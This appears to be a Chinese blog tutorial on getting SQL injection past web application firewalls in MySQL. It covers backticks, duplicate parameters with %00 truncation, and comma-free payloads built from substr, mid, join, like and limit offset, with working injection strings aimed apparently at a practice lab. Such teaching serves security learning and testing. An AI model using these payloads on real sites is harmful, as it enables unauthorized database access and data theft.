当前位置:网站首页>SQL 注入繞過(二)
SQL 注入繞過(二)
2022-06-28 02:21:00 【Aτθ】
一、反引號繞過
在 mysql 可以使用 `這裏是反引號` 繞過一些 waf 攔截。字段可以加反引號或者不加,意義相同。
insert into users(username,password,email)values('test','123456','[email protected]');
insert into users(`username`,`password`,`email`)values('test','123456','[email protected]');
\N'union distinct select 1,(select version() from `users` limit 1)--+&submit=1
二、脚本語言特性繞過
1、介紹
在 php 語言中,id=1&id=2 後面的值會自動覆蓋前面的值,不同的語言有不同的特性。可以利用這點繞過一些 waf 的攔截。
id=1%00&id=2 union select 1,2,3
有些 waf 會去匹配第一個 id 參數1%00, %00 是截斷字符,waf 會自動截斷 從而不會檢測後面的內容。到了程序中,id 就等於 id=2 union select 1,2,3 從繞過注入攔截。
其他語言特性
2、實操1
3、實操2
?name=vince%00&name=' union select 1,database()--+&submit=1
三、逗號繞過
目前有些防注入脚本都會逗號進行攔截,例如常規注入中必須包含逗號。
select * from users where id=1 union select 1,2,3,4;
一般會對逗號過濾成空,select * from users where id=1 union select 1 2 3 4;這樣SQL 語句就會出錯。所以,可以不使用逗號進行 SQL 注入。
繞過方法如下:
1、第一種方式:substr 截取字符串
查詢當前庫第一個字符:
select(substr(database() from 1 for 1));
查詢 p 等於 select(substr(database() from 1 for 1)),頁面返回正常。
select * from users where id=1 and 'p'=(select(substr(database() from 1 for 1)));
可以進一步優化 m 換成 hex 0x6D,這樣就避免了單引號。
select * from users where id=1 and 0x70=(select(substr(database() from 1 for 1)));
?name=vince' and (select(substr(database() from 1 for 1)))='p'--+&submit=1 ?name=vince' and (select(substr(database() from 1 for 1)))='x'--+&submit=1
2、第二種方式:mid 截取字符串
這個 min 函數跟 substr 函數功能相同,如果 substr 函數被攔截或者過濾可以使用這個函數代替。
select (mid(database() from 1 for 1));
select * from users where id=1 and 'p'=(select(mid(database() from 1 for 1)));
select * from users where id=1 and 0x70=(select(mid(database() from 1 for 1)));
3、第三種方式: 使用 join 繞過
使用 join 自連接兩個錶:
union select 1,2 #等價於 union select * from (select 1)a join (select 2)b,其中a 和 b 分別是錶的別名。
select * from users where id=-1 union select 1,2,3,4;
select * from users where id=-1 union select * from (select 1)a join (select 2)b
join(select 3)c join(select 4)d;
select * from users where id=-1 union select * from (select 1)a join (select 2)b
join(select user())c join(select 4)d;
這裏也沒有使用逗號,從而繞過 waf 對逗號的攔截。
4、第四種方式:like 繞過
使用 like 模糊查詢 select user() like '%r%'; 模糊查詢成功返回 1,否則返回 0
找到第一個字符後繼續進行下一個字符匹配。從而找到所有的字符串,最後就是要查詢的內容,這種 SQL 注入語句也不會存在逗號。從而繞過 waf 攔截。
5、第五種方式:limit offset 繞過
SQL 注入時,如果需要限定條目可以使用 limit 0,1 限定返回條目的數目,limit 0,1 返回條一條記錄。如果對逗號進行攔截時,可以使用 limit 1 默認返回第一條數據。也可以使用 limit 1 offset 0 從零開始返回第一條記錄,這樣就繞過 waf 攔截。
边栏推荐
- Deep parsing of kubernetes controller runtime
- JS array random value (random array value)
- Jenkins - groovy postbuild plug-in enriches build history information
- Adobe Premiere foundation - sound adjustment (volume correction, noise reduction, telephone tone, pitch shifter, parameter equalizer) (XVIII)
- [Yocto RM] 4 - Source Directory Structure
- Cesium 点击绘制多边形(动态绘制多边形)
- 9. Openfeign service interface call
- Implementation of timed tasks in laravel framework
- PV operation primitive
- Centos8 operation record command version Yum redis MySQL Nacos JDK
猜你喜欢
Take n multiple table names of a database as the values of a column in another table (the range can be a table in another database)
Cesium anti aliasing (lines, borders, etc.)
Jenkins - groovy postbuild plug-in enriches build history information
基于AM335X开发板 ARM Cortex-A8——Acontis EtherCAT主站开发案例
766. 托普利茨矩阵
mysql面试百题集
Implementation of timed tasks in laravel framework
Jenkins - access the Jenkins user-defined parameter variable, and handle the variable value containing spaces
Lmsoc: a socially sensitive pre training method
Chapitre 4: redis
随机推荐
Cesium 抗锯齿(线,边框等)
Jenkins - email notification plug-in
基于AM335X开发板 ARM Cortex-A8——Acontis EtherCAT主站开发案例
205. 同构字符串
[elt.zip] openharmony paper Club - memory compression for data intensive applications
Fundamentals of scala (3): operators and process control
Differences between cesium polygon extrudedheight and height
Jenkins - Pipeline 语法
1382. balancing binary search tree - General method
The interviewer asked: this point of JS
深入解析kubernetes controller-runtime
外盘期货哪里可以开户?哪个平台出入金比较安全?
Ionic4 realizes half star scoring
[Yocto RM] 2 - Yocto Project Terms
[Yocto RM]9 - QA Error and Warning Messages
Google Earth engine (GEE) -- an error caused by the imagecollection (error) traversing the image collection
Cesium 多边形增加文字标签(polygon 加 label)多边形中心点偏移问题解决
I/o limit process and CPU limit process
Database query optimization: master-slave read-write separation and common problems
766. 托普利茨矩阵